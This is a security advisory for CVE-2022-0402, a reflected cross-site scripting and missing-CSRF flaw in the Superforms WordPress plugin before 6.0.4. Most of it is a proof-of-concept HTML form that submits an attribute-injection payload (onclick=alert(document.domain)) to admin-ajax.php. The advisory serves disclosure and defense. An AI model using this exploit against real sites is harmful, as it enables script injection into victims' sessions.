Superforms < 6.0.4 – Reflected Cross-Site Scripting | CVE 2022-0402

Description

The plugin does not escape the bob_czy_panstwa_sprawa_zostala_rozwiazana parameter before outputting it back in an attribute via the super_language_switcher AJAX action, leading to a Reflected Cross-Site Scripting. The action is also lacking CSRF, making the attack easier to perform against any user.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="super_language_switcher" />
      <input type="hidden" name="form_id" value="1030" />
      <input type="hidden" name="i18n" value="pl_PL" />
      <input type="hidden" name="parameters[bob_co_mozemy_poprawic_aby_panstwa_ocena_byla_wyzsza]" value="555" />
      <input type="hidden" name="parameters[bob_co_sprawilo_taka_ocene_zaangazowania_konsultanta]" value="555" />
      <input type="hidden" name="parameters[bob_czy_konsultant_wytlumaczyl_dlaczego_nie_jest_w_stanie_rozwiazac_sprawy]" value="1" />
      <input type="hidden" name="parameters[bob_czy_panstwa_sprawa_zostala_rozwiazana]" value=" accesskey accesskey=x onclick=alert(document.domain) id=test" />
      <input type="hidden" name="parameters[bob_dlaczego_panstwa_zdaniem_nie_udalo_sie_rozwiazac_problemu]" value="555" />
      <input type="hidden" name="parameters[bob_jak_duzo_wysilku_wlozyles_w_zalatwienie_konkretnej_sprawy]" value="1" />
      <input type="hidden" name="parameters[bob_jakie_czynniki_mozemy_poprawic_aby_panstwa_ocena_byla_wyzsza]" value="555" />
      <input type="hidden" name="parameters[bob_na_koniec_prosimy_o_podsumowanie_panstwa_oceny_oraz_napisanie_sugestii_i_uag_dotyczacych_obslugi]" value="555" />
      <input type="hidden" name="parameters[bob_na_podstawie_ostatniej_rozmowy_z_naszym_konsultantem_ocen_w_skali_zaangazowanie_w_rozwiazanie_problemu]" value="1" />
      <input type="hidden" name="parameters[bob_w_jakim_stopniu_sa_panstwo_zadowoleni_z_obslugi_konsultanta]" value="1" />
      <input type="hidden" name="parameters[hidden_form_id]" value="1030" />
      <input type="hidden" name="parameters[id]" value="1" />
      <input type="hidden" name="parameters[super_ajax_nonce]" value="" />
      <input type="hidden" name="parameters[super_hp]" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>